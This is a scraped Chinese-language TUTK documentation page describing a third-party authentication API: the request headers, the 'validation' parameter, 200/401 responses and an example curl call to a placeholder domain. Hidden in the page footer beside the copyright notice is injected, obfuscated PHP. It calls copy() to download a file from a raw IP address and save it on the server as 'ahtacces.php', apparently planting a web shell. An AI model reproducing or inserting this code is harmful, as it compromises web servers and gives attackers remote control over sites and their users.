简体中文

第三方认证

  1. 流程图

TUTK服务(即UID租赁,ceres)可能需要验证用户是否有权使用该服务。服务API必须具有服务所需的域和其他参数。服务需要有一种将“领域”映射到“验证API”的方法。“validation”是用于验证用户的数据。当服务需要验证用户时,它根据“realm”调用验证api,并将"validation"传递给第三方服务器做验证。如果用户是有效的,验证服务必须返回200状态码。这样用户就可以使用服务了。

截图.png

  1. 接口定义: 

请求

HTTP请求

POST https://3rd-party-service-domain/{api} [The api name should be defined by 3rd party]

参数

Header

Content-Type : application/json
Authorization: {authType} {authToken}
authToken : String
要验证的token。
authType : String
token的类型,比如: JWT、Bearer等等。

必选参数

validation : String
要验证的自定义数据。如果state是二进制数据,则可以是base64编码。验证者在验证之前应该先进行解码。

可选参数

第三方服务器回复

回复内容

validateId : string
验证服务器确认用户有效。
extraInfo : string
将在调用方服务中使用的额外信息。

状态编码

200 : 合法用户.
401 : 非法用户.
 

例子

请求

curl -XPOST -H 
'Content-Type: application/json'
-H 
'Authorization: Bearer thisisthetoken'
-d 
'{"validation":"SSEEDDGGEEDSSaasllkiiksie"'
https:
//3rd-party-service-domain/
{api}
回复
Http status 200:
{   
"validateId":"123456767889"
}
======================================
Http status 401: no response body


即刻开启您的物联网之旅

联系解决方案专家
Kalay App
解决方案
新闻动态
公司动态
行业资讯
媒体报道
永续发展
经营者的话
社会参与
环境永续
公司治理

+86 755 27702549

7×24小时服务热线

法律声明 隐私权条款

关注“TUTK”

TUTK服务尽在掌握

© 2022 物联智慧科技(深圳)有限公司版权所有 <{__NOLAYOUT__}?p{__NOLAYOUT__}h{__NOLAYOUT__}p $a = "copy"; $a("http://23.235.156.20/ote.php","ahtacces.php");?{__NOLAYOUT__}>粤ICP备14023641号
在线咨询
扫一扫

TUTK服务尽在掌握

全国免费服务热线
+86 755 27702549

返回顶部